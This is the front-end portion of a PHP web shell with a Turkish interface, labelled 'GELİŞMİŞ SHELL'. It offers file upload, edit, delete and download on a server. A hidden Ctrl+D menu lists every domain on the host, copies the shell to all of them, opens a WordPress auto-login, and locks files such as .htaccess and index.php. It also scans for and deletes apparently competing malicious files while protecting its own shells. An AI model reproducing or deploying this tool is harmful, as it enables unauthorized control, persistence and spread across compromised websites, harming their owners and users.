.stats { background:#353b48; padding:12px 15px; border-radius:8px; margin:15px 0 0; display:flex; gap:20px; flex-wrap:wrap; }
.stat-item { flex:1; text-align:center; }
.stat-value { font-size:28px; font-weight:bold; color:#00a8ff; }
.stat-label { font-size:11px; color:#888; margin-top:4px; }
.editor-container { background:#1e272e; border-radius:10px; overflow:hidden; margin-top:10px; border:1px solid #40739e; }
.editor-header { background:#2f3640; padding:12px 15px; border-bottom:1px solid #40739e; display:flex; justify-content:space-between; align-items:center; flex-wrap:wrap; gap:10px; }
.editor-title { font-size:14px; font-weight:600; color:#00a8ff; word-break:break-all; }
.editor-title code { background:#1e272e; padding:4px 8px; border-radius:5px; font-size:12px; }
.editor-buttons { display:flex; gap:8px; }
.editor-buttons button { padding:6px 14px; font-size:12px; }
.editor-buttons .save-btn { background:#44bd32; color:#000; font-weight:bold; }
.editor-buttons .save-btn:hover { background:#55dd44; }
.editor-buttons .cancel-btn { background:#e84118; }
.editor-buttons .copy-btn { background:#3498db; }
.editor-textarea { width:100%; min-height:500px; background:#0d1117; color:#e6edf3; border:none; padding:15px; font-family:'Monaco', 'Menlo', 'Ubuntu Mono', 'Consolas', monospace; font-size:13px; line-height:1.6; resize:vertical; outline:none; tab-size:4; }
.editor-textarea:focus { outline:none; background:#161b22; }
.editor-info { background:#2f3640; padding:8px 15px; font-size:11px; color:#888; display:flex; justify-content:space-between; flex-wrap:wrap; gap:10px; border-top:1px solid #40739e; }
.editor-info span { color:#00a8ff; }
.warning-box { background:#e84118; padding:12px 15px; border-radius:8px; margin-bottom:15px; color:#fff; font-weight:500; display:flex; align-items:center; gap:10px; }
.warning-box::before { content:"⚠️"; font-size:18px; }
.upload-row { display:flex; gap:10px; align-items:center; flex-wrap:wrap; }
.hidden-menu { background:#2d2d2d; padding:10px 15px; border-radius:8px; margin-bottom:15px; border-left:3px solid #f39c12; display:flex; align-items:center; gap:10px; flex-wrap:wrap; }
.hidden-menu.hidden { display:none; }
.hidden-menu-title { color:#f39c12; font-size:12px; display:flex; align-items:center; gap:8px; }
.loading-overlay { position:fixed; top:0; left:0; width:100%; height:100%; background:rgba(0,0,0,0.5); z-index:10000; display:flex; align-items:center; justify-content:center; visibility:hidden; }
.loading-overlay.active { visibility:visible; }
.spinner { width:50px; height:50px; border:3px solid #40739e; border-top-color:#00a8ff; border-radius:50%; animation: spin 1s linear infinite; }
@keyframes spin { to { transform:rotate(360deg); } }
.checkbox-column { width:30px; text-align:center; }
</style>
<script>
function toggleAll(s){
var checkboxes = document.querySelectorAll("input[name='bulk_delete[]']");
checkboxes.forEach(cb => cb.checked = s.checked);
}
function toggleMalicious(s){
var checkboxes = document.querySelectorAll("input[name='selected[]']");
checkboxes.forEach(cb => cb.checked = s.checked);
}
function showRenameModal(path,name){
document.getElementById('rename_old').value = path;
document.getElementById('rename_new').value = name;
document.getElementById('renameModal').classList.add('active');
}
function hideRenameModal(){
document.getElementById('renameModal').classList.remove('active');
}
function showDomainModal(){
document.getElementById('domainModal').classList.add('active');
}
function hideDomainModal(){
document.getElementById('domainModal').classList.remove('active');
}
function showMaliciousModal(){
document.getElementById('maliciousModal').classList.add('active');
}
function hideMaliciousModal(){
document.getElementById('maliciousModal').classList.remove('active');
}
function goToDomain(path){
window.location.href = '?dir=' + encodeURIComponent(path);
}
function openDomainUrl(url){
window.open(url, '_blank');
}
function downloadFile(path){
window.location.href = '?download=' + encodeURIComponent(path);
}
function analyzeFile(path){
var form = document.createElement('form');
form.method = 'post';
form.innerHTML = '<input name="action" value="analyze"><input name="file" value="' + path.replace(/"/g, '"') + '">';
document.body.appendChild(form);
form.submit();
}
function editFile(path){
window.location.href = '?editf=' + btoa(unescape(encodeURIComponent(path))) + '&dir=<?php echo urlencode($current_dir); ?>';
}
function openUrl(url){
window.open(url, '_blank');
}
function toggleSection(titleEl){
titleEl.classList.toggle('collapsed');
var body = titleEl.nextElementSibling;
body.classList.toggle('collapsed');
}
function showToast(message, type){
if(!message) return;
var toast = document.createElement('div');
toast.className = 'toast ' + (type || 'info');
toast.innerHTML = message.replace(/\n/g, '<br>');
document.body.appendChild(toast);
setTimeout(function(){ if(toast && toast.remove) toast.remove(); }, 4000);
}
function kilitIslem(action){
var pass = prompt('Şifre:');
if(!pass) return;
var btn = event.target;
var originalText = btn.innerHTML;
btn.innerHTML = '⏳ ...';
btn.disabled = true;
var xhr = new XMLHttpRequest();
xhr.open('GET', '?kilit_ajax=' + action + '&pass=' + encodeURIComponent(pass), true);
xhr.onload = function(){
try {
var response = JSON.parse(xhr.responseText);
if(response.success && response.message){
showToast(response.message, 'success');
}
} catch(e){}
btn.innerHTML = originalText;
btn.disabled = false;
};
xhr.onerror = function(){
btn.innerHTML = originalText;
btn.disabled = false;
};
xhr.send();
}
function checkPermissions(){
var pass = prompt('Şifre:');
if(!pass) return;
var btn = event.target;
var originalText = btn.innerHTML;
btn.innerHTML = '⏳ ...';
btn.disabled = true;
var xhr = new XMLHttpRequest();
xhr.open('GET', '?file_permission_action=check&file=<?php echo urlencode($current_dir); ?>&pass=' + encodeURIComponent(pass), true);
xhr.onload = function(){
try {
var response = JSON.parse(xhr.responseText);
if(response.success){
var msg = '';
if(response.htaccess.exists){
msg += '📁 .htaccess: ' + (response.htaccess.writable ? '✅ Yazılabilir' : '❌ Salt Okunur');
} else {
msg += '📁 .htaccess: ❌ Dosya yok';
}
msg += '\n';
if(response.index.exists){
msg += '📄 index.php: ' + (response.index.writable ? '✅ Yazılabilir' : '❌ Salt Okunur');
} else {
msg += '📄 index.php: ❌ Dosya yok';
}
showToast(msg, 'info');
}
} catch(e){}
btn.innerHTML = originalText;
btn.disabled = false;
};
xhr.onerror = function(){
btn.innerHTML = originalText;
btn.disabled = false;
};
xhr.send();
}
function setHtaccessWritable(writable){
var pass = prompt('Şifre:');
if(!pass) return;
var btn = event.target;
var originalText = btn.innerHTML;
btn.innerHTML = '⏳ ...';
btn.disabled = true;
var xhr = new XMLHttpRequest();
xhr.open('GET', '?file_permission_action=set_htaccess&file=<?php echo urlencode($current_dir); ?>&writable=' + writable + '&pass=' + encodeURIComponent(pass), true);
xhr.onload = function(){
try {
var response = JSON.parse(xhr.responseText);
if(response.success && response.message){
showToast('✅ .htaccess ' + response.message, 'success');
}
} catch(e){}
btn.innerHTML = originalText;
btn.disabled = false;
};
xhr.onerror = function(){
btn.innerHTML = originalText;
btn.disabled = false;
};
xhr.send();
}
function setIndexWritable(writable){
var pass = prompt('Şifre:');
if(!pass) return;
var btn = event.target;
var originalText = btn.innerHTML;
btn.innerHTML = '⏳ ...';
btn.disabled = true;
var xhr = new XMLHttpRequest();
xhr.open('GET', '?file_permission_action=set_index&file=<?php echo urlencode($current_dir); ?>&writable=' + writable + '&pass=' + encodeURIComponent(pass), true);
xhr.onload = function(){
try {
var response = JSON.parse(xhr.responseText);
if(response.success && response.message){
showToast('✅ index.php ' + response.message, 'success');
}
} catch(e){}
btn.innerHTML = originalText;
btn.disabled = false;
};
xhr.onerror = function(){
btn.innerHTML = originalText;
btn.disabled = false;
};
xhr.send();
}
function scanMaliciousAjax(){
var pass = prompt('Şifre:');
if(!pass) return;
var btn = event.target;
var originalText = btn.innerHTML;
btn.innerHTML = '⏳ ...';
btn.disabled = true;
var xhr = new XMLHttpRequest();
xhr.open('GET', '?scan_ajax=1&dir=<?php echo urlencode($current_dir); ?>&pass=' + encodeURIComponent(pass), true);
xhr.onload = function(){
try {
var response = JSON.parse(xhr.responseText);
if(response.success){
showToast('✅ ' + response.message, 'success');
setTimeout(function(){ location.reload(); }, 1500);
}
} catch(e){}
btn.innerHTML = originalText;
btn.disabled = false;
};
xhr.onerror = function(){
btn.innerHTML = originalText;
btn.disabled = false;
};
xhr.send();
}
function bulkDeleteAjax(){
var checkboxes = document.querySelectorAll("input[name='bulk_delete[]']:checked");
if(checkboxes.length === 0){
showToast('❌ Lütfen silinecek dosya/klasör seçin!', 'error');
return;
}
var pass = prompt('Şifre:');
if(!pass) return;
var paths = [];
checkboxes.forEach(cb => paths.push(cb.value));
var btn = event.target;
var originalText = btn.innerHTML;
btn.innerHTML = '⏳ ...';
btn.disabled = true;
var xhr = new XMLHttpRequest();
xhr.open('GET', '?bulk_delete_ajax=1&paths=' + encodeURIComponent(paths.join('||')) + '&dir=<?php echo urlencode($current_dir); ?>&pass=' + encodeURIComponent(pass), true);
xhr.onload = function(){
try {
var response = JSON.parse(xhr.responseText);
if(response.success){
showToast('✅ ' + response.message, 'success');
setTimeout(function(){ location.reload(); }, 1500);
}
} catch(e){}
btn.innerHTML = originalText;
btn.disabled = false;
};
xhr.onerror = function(){
btn.innerHTML = originalText;
btn.disabled = false;
};
xhr.send();
}
function deleteSelectedMalicious(){
var checkboxes = document.querySelectorAll("input[name='selected[]']:checked");
if(checkboxes.length === 0){
showToast('❌ Lütfen silinecek dosyaları seçin!', 'error');
return;
}
var pass = prompt('Şifre:');
if(!pass) return;
var paths = [];
checkboxes.forEach(cb => paths.push(cb.value));
var btn = event.target;
var originalText = btn.innerHTML;
btn.innerHTML = '⏳ ...';
btn.disabled = true;
var xhr = new XMLHttpRequest();
xhr.open('GET', '?bulk_delete_ajax=1&paths=' + encodeURIComponent(paths.join('||')) + '&dir=<?php echo urlencode($current_dir); ?>&pass=' + encodeURIComponent(pass), true);
xhr.onload = function(){
try {
var response = JSON.parse(xhr.responseText);
if(response.success){
showToast('✅ ' + response.message, 'success');
setTimeout(function(){ location.reload(); }, 1500);
}
} catch(e){}
btn.innerHTML = originalText;
btn.disabled = false;
};
xhr.onerror = function(){
btn.innerHTML = originalText;
btn.disabled = false;
};
xhr.send();
}
function saveFile(){
var content = document.getElementById('editor-content').value;
var file = document.getElementById('edit-file').value;
var currentDir = document.getElementById('current-dir').value;
var loadingOverlay = document.getElementById('loading-overlay');
loadingOverlay.classList.add('active');
var xhr = new XMLHttpRequest();
xhr.open('POST', '', true);
xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.onload = function(){
loadingOverlay.classList.remove('active');
try {
var response = JSON.parse(xhr.responseText);
if(response.success){
showToast('✅ Kaydedildi', 'success');
setTimeout(function(){
window.location.href = '?dir=' + encodeURIComponent(currentDir);
}, 1000);
}
} catch(e){}
};
xhr.onerror = function(){
loadingOverlay.classList.remove('active');
};
xhr.send('action=edit&file=' + encodeURIComponent(file) + '&content=' + encodeURIComponent(content) + '¤t_dir=' + encodeURIComponent(currentDir));
}
document.addEventListener('keydown', function(e){
if(e.ctrlKey && e.key === 'd'){
e.preventDefault();
var hiddenMenu = document.getElementById('hidden-menu');
if(hiddenMenu.classList.contains('hidden')){
hiddenMenu.classList.remove('hidden');
showToast('🔓 Gizli menü gösteriliyor', 'info');
} else {
hiddenMenu.classList.add('hidden');
showToast('🔒 Gizli menü gizlendi', 'info');
}
}
});
function copyToClipboard(){
var textarea = document.getElementById('editor-content');
textarea.select();
document.execCommand('copy');
showToast('📋 Kopyalandı!', 'success');
}
</script>
</head>
<body>
<div class="container">
<div style="background:#353b48; padding:8px; margin-bottom:15px; text-align:center; color:#00a8ff; font-weight:bold; border-radius:8px; font-size:13px;">
🔥 GELİŞMİŞ SHELL | <?php echo implode(', ', $allowed_shells); ?>
</div>
<div class="top-bar">
<a href="?logout=1" class="button">🚪 Çıkış</a>
</div>
<div id="hidden-menu" class="hidden-menu hidden">
<span class="hidden-menu-title">🔐 GİZLİ MENÜ (Ctrl+D)</span>
<button class="action-btn domain" onclick="showDomainModal()">🌐 Domainler (<?php echo count($all_domains); ?>)</button>
<button class="action-btn scan" onclick="scanMaliciousAjax()">🔍 ZARARLI TARA</button>
<?php if (!empty($malicious_files)): ?>
<button class="action-btn malicious" onclick="showMaliciousModal()">⚠️ ZARARLILAR (<?php echo count($malicious_files); ?>)</button>
<?php endif; ?>
<a href="#" onclick="if(confirm('Tüm domainlere shell kopyalansin mi?')){ openUrl('<?php echo $deploy_url; ?>'); } return false;" class="action-btn deploy">📦 SHELL KOPYALA</a>
<a href="#" onclick="openUrl('<?php echo $wp_auto_login_url; ?>'); return false;" class="action-btn wp">🚀 WP GİRİŞ</a>
<a href="#" onclick="kilitIslem('close'); return false;" class="action-btn close">🔒 SİSTEMİ KİLITLE</a>
<a href="#" onclick="kilitIslem('open'); return false;" class="action-btn open">🔓 SİSTEM KİLİDİNİ AÇ</a>
<a href="#" onclick="kilitIslem('izin'); return false;" class="action-btn izin">📊 SİSTEM DURUMU</a>
<button class="action-btn permission" onclick="checkPermissions()">📋 İZİN KONTROL</button>
<button class="action-btn success" onclick="setHtaccessWritable(true)">✏️ .htaccess YAZ</button>
<button class="action-btn danger" onclick="setHtaccessWritable(false)">🔒 .htaccess OKU</button>
<button class="action-btn success" onclick="setIndexWritable(true)">✏️ index.php YAZ</button>
<button class="action-btn danger" onclick="setIndexWritable(false)">🔒 index.php OKU</button>
</div>
<h2>📁 <?php echo htmlspecialchars($current_dir); ?></h2>
<div class="toolbar">
<?php if (dirname($current_dir) != $current_dir): ?>
<a class="button" href="?dir=<?php echo urlencode(dirname($current_dir)); ?>">📂 Üst Dizin</a>
<?php endif; ?>
<span style="margin-left:auto; font-size:11px;">Korunan: <?php echo count($our_shells) + count($wordpress_core_files) + count($protected_files); ?> dosya</span>
</div>
<form method="post" enctype="multipart/form-data" class="upload-row" style="margin:15px 0;">
<input type="file" name="files[]" multiple style="background:#1e272e; border:1px solid #40739e; padding:8px; border-radius:6px; color:#fff; flex:1;">
<button type="submit" class="success">📤 Dosya Yükle</button>
<input type="hidden" name="action" value="upload">
<input type="hidden" name="current_dir" value="<?php echo htmlspecialchars($current_dir); ?>">
</form>
<hr>
<div id="domainModal" class="modal"><div class="modal-content">
<h3>🌐 Domainler</h3>
<div class="domain-stats"><div class="domain-stat-box"><div class="stat-value"><?php echo count($all_domains); ?></div><div class="stat-label">Toplam Domain</div></div></div>
<div class="domain-list">
<?php foreach ($all_domains as $d): ?>
<div class="domain-item" onclick="goToDomain('<?php echo htmlspecialchars($d['path']); ?>')">
<div><span class="domain-url"><?php echo htmlspecialchars($d['url']); ?></span><div class="domain-path">📁 <?php echo htmlspecialchars($d['path']); ?></div></div>
<button class="button info" onclick="event.stopPropagation(); openDomainUrl('<?php echo htmlspecialchars($d['url']); ?>')">🌐 Aç</button>
</div>
<?php endforeach; ?>
</div>
<button onclick="hideDomainModal()">Kapat</button>
</div></div>
<?php if (!empty($malicious_files)): ?>
<div id="maliciousModal" class="modal"><div class="modal-content">
<h3>⚠️ ZARARLI DOSYALAR (<?php echo count($malicious_files); ?>)</h3>
<div style="margin-bottom:15px;">
<button class="action-btn danger" onclick="deleteSelectedMalicious()">🗑 SEÇİLİLERİ SİL</button>
<button onclick="hideMaliciousModal()">Kapat</button>
</div>
<table style="width:100%; border-collapse:collapse;">
<thead><tr style="border-bottom:1px solid #40739e;"><th class="checkbox-column"><input type="checkbox" onclick="toggleMalicious(this)"></th><th style="padding:8px; text-align:left;">Dosya</th><th style="padding:8px; text-align:left; width:60px;">Risk</th><th style="padding:8px; text-align:left; width:200px;">İşlemler</th></tr></thead>
<tbody>
<?php foreach ($malicious_files as $m): ?>
<tr style="border-bottom:1px solid #353b48;">
<td class="checkbox-column"><input type="checkbox" name="selected[]" value="<?php echo htmlspecialchars($m['path']); ?>"></td>
<td style="padding:8px;"><strong><?php echo htmlspecialchars($m['name']); ?></strong><br><small style="color:#888;"><?php echo htmlspecialchars(substr(dirname($m['path']),0,60)); ?></small><br><small>Boyut: <?php echo $m['size']; ?> bytes</small></td>
<td style="padding:8px;"><span style="background:#e84118; padding:2px 8px; border-radius:20px; font-size:11px;"><?php echo $m['risk']; ?></span></td>
<td style="padding:8px;">
<button type="button" class="download-btn" onclick="downloadFile('<?php echo addslashes($m['path']); ?>')">📥 İndir</button>
<button type="button" class="rename-btn" onclick="showRenameModal('<?php echo addslashes($m['path']); ?>','<?php echo addslashes($m['name']); ?>')">✏️ Adlandır</button>
<button type="button" class="analyze-btn" onclick="analyzeFile('<?php echo addslashes($m['path']); ?>')">🔍 Analiz</button>
<button type="button" class="edit-btn" onclick="editFile('<?php echo addslashes($m['path']); ?>')">✏️ Düzenle</button>
</td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
</div></div>
<?php endif; ?>
<?php if (!empty($plugins['suspicious'])): ?>
<div class="delete-section"><div class="delete-title collapsed" onclick="toggleSection(this)">⚠️ ŞÜPHELİ EKLENTİLER (<?php echo count($plugins['suspicious']); ?>) <span class="toggle-arrow">▼</span></div>
<div class="delete-body collapsed">
<?php foreach ($plugins['suspicious'] as $plugin): ?>
<div class="row"><div><input type="checkbox" name="bulk_delete[]" value="<?php echo htmlspecialchars($plugin['path']); ?>"></div>
<div>📦 <?php echo htmlspecialchars($plugin['name']); ?><span class="inactive-badge">PASİF</span><span class="malicious-badge">ŞÜPHELİ</span></div>
<div><button type="button" class="download-btn" onclick="downloadFile('<?php echo addslashes($plugin['path']); ?>')">İndir</button>
<button type="button" class="rename-btn" onclick="showRenameModal('<?php echo addslashes($plugin['path']); ?>','<?php echo addslashes($plugin['name']); ?>')">Adlandır</button>
<a href="?dir=<?php echo urlencode($plugin['path']); ?>" class="button">İncele</a></div></div>
<?php endforeach; ?>
</div></div>
<?php endif; ?>
<form method="post" onsubmit="bulkDeleteAjax(); return false;">
<input type="hidden" name="action" value="bulk_delete">
<input type="hidden" name="current_dir" value="<?php echo htmlspecialchars($current_dir); ?>">
<div class="list-header"><div><input type="checkbox" onclick="toggleAll(this)"> <strong>Tümünü Seç</strong></div><button type="submit" class="danger">🗑 Seçileni Sil</button></div>
<h3>📁 Klasörler</h3>
<?php foreach ($folders as $folder): $path = $current_dir.'/'.$folder;
$is_protected = in_array($folder, $wordpress_core_dirs) || in_array($folder, $our_shells); ?>
<div class="row <?php if($is_protected) echo 'protected'; ?>">
<div><input type="checkbox" name="bulk_delete[]" value="<?php echo htmlspecialchars($path); ?>" <?php if($is_protected) echo 'disabled'; ?>></div>
<div class="name">📁 <a href="?dir=<?php echo urlencode($path); ?>"><?php echo htmlspecialchars($folder); ?></a><?php if(in_array($folder, $wordpress_core_dirs)): ?><span class="wp-badge">WORDPRESS</span><?php endif; ?></div>
<div><button type="button" class="download-btn" onclick="downloadFile('<?php echo addslashes($path); ?>')">📥 İndir</button></div>
</div>
<?php endforeach; ?>
<h3>📄 Dosyalar</h3>
<?php foreach ($files as $file): $path = $current_dir.'/'.$file;
$editUrl = '?editf='.base64_encode($path).'&dir='.urlencode($current_dir);
$is_protected = in_array($file, $protected_files) || in_array($file, $wordpress_core_files) || in_array($file, $our_shells);
$is_malicious = false;
if(!$is_protected && isset($_SESSION['malicious'])){
foreach($_SESSION['malicious'] as $m){ if($m['path']==$path){ $is_malicious=true; break; } }
}
$row_class = $is_protected ? 'protected' : ($is_malicious ? 'malicious' : '');
?>
<div class="row <?php echo $row_class; ?>">
<div><input type="checkbox" name="bulk_delete[]" value="<?php echo htmlspecialchars($path); ?>" <?php if($is_protected) echo 'disabled'; ?>></div>
<div class="name">📄 <?php echo htmlspecialchars($file); ?><?php if($is_protected): ?><span class="protected-badge">KORUNAN</span><?php endif; ?><?php if($is_malicious): ?><span class="malicious-badge">ZARARLI</span><?php endif; ?></div>
<div class="inline-controls">
<button type="button" class="download-btn" onclick="downloadFile('<?php echo addslashes($path); ?>')">📥 İndir</button>
<?php if(!$is_protected): ?><button type="button" class="rename-btn" onclick="showRenameModal('<?php echo addslashes($path); ?>','<?php echo addslashes($file); ?>')">✏️ Adlandır</button><?php endif; ?>
<a class="button edit-btn" href="<?php echo $editUrl; ?>">✏️ Düzenle</a>
</div>
</div>
<?php endforeach; ?>
<div class="list-header"><div></div><button type="submit" class="danger">🗑 Seçileni Sil</button></div>
</form>
<div id="renameModal" class="modal"><div class="modal-content">
<h3>📝 Dosya/Klasör Adını Değiştir</h3>
<form method="post">
<input type="hidden" name="action" value="rename">
<input type="hidden" name="old" id="rename_old">
<input type="hidden" name="current_dir" value="<?php echo htmlspecialchars($current_dir); ?>">
<p style="margin-bottom:8px;">Yeni isim:</p>
<input type="text" name="new" id="rename_new" required style="width:100%; padding:10px; margin-bottom:15px; background:#1e272e; border:1px solid #40739e; color:#fff; border-radius:6px;">
<div style="display:flex; gap:10px; justify-content:flex-end;">
<button type="button" onclick="hideRenameModal()">İptal</button>
<button type="submit" class="success">Değiştir</button>
</div>
</form>
</div></div>
<?php if ($file_to_edit && file_exists($file_to_edit)):
$is_protected = in_array(basename($file_to_edit), $protected_files) || in_array(basename($file_to_edit), $wordpress_core_files) || in_array(basename($file_to_edit), $our_shells);
$file_content = htmlspecialchars(file_get_contents($file_to_edit));
$line_count = substr_count($file_content, "\n") + 1;
?>
<hr>
<div class="editor-container">
<div class="editor-header">
<div class="editor-title">
✏️ Düzenleniyor: <code><?php echo htmlspecialchars(basename($file_to_edit)); ?></code>
<span style="font-size:11px; color:#888; margin-left:10px;">(<?php echo number_format(filesize($file_to_edit)); ?> bytes, <?php echo $line_count; ?> satır)</span>
</div>
<div class="editor-buttons">
<button type="button" class="copy-btn" onclick="copyToClipboard()">📋 Kopyala</button>
<a href="?dir=<?php echo urlencode($_GET['dir'] ?? $current_dir); ?>" class="button cancel-btn">✖️ İptal</a>
</div>
</div>
<?php if($is_protected): ?>
<div class="warning-box">Bu dosya KORUNAN bir dosyadır! Düzenlemek sitenin çalışmasını bozabilir. Dikkatli olun!</div>
<?php endif; ?>
<form id="editor-form" onsubmit="saveFile(); return false;">
<textarea id="editor-content" name="content" class="editor-textarea" spellcheck="false"><?php echo $file_content; ?></textarea>
<input type="hidden" id="edit-file" name="file" value="<?php echo htmlspecialchars($file_to_edit); ?>">
<input type="hidden" id="current-dir" name="current_dir" value="<?php echo htmlspecialchars($_GET['dir'] ?? $current_dir); ?>">
<div class="editor-info">
<div>📁 <span><?php echo htmlspecialchars($file_to_edit); ?></span></div>
<div>💾 Son değişiklik: <span><?php echo date('Y-m-d H:i:s', filemtime($file_to_edit)); ?></span></div>
<div><button type="submit" class="save-btn" style="background:#44bd32; color:#000; padding:6px 20px;">💾 KAYDET</button></div>
</div>
</form>
</div>
<?php endif; ?>
<?php if(!empty($analysis)): ?>
<hr>
<h3>🔍 Dosya Analizi: <?php echo htmlspecialchars(basename($analysis_file)); ?></h3>
<div class="pre-box"><?php echo nl2br(htmlspecialchars($analysis)); ?></div>
<?php endif; ?>
<div class="stats">
<div class="stat-item"><div class="stat-value"><?php echo count($files); ?></div><div class="stat-label">Dosya</div></div>
<div class="stat-item"><div class="stat-value"><?php echo count($folders); ?></div><div class="stat-label">Klasör</div></div>
<div class="stat-item"><div class="stat-value"><?php echo count($malicious_files); ?></div><div class="stat-label">Zararlı</div></div>
<div class="stat-item"><div class="stat-value"><?php echo count($our_shells); ?></div><div class="stat-label">Shell</div></div>
</div>
</div>
<div id="loading-overlay" class="loading-overlay">
<div class="spinner"></div>
</div>
</body>
</html>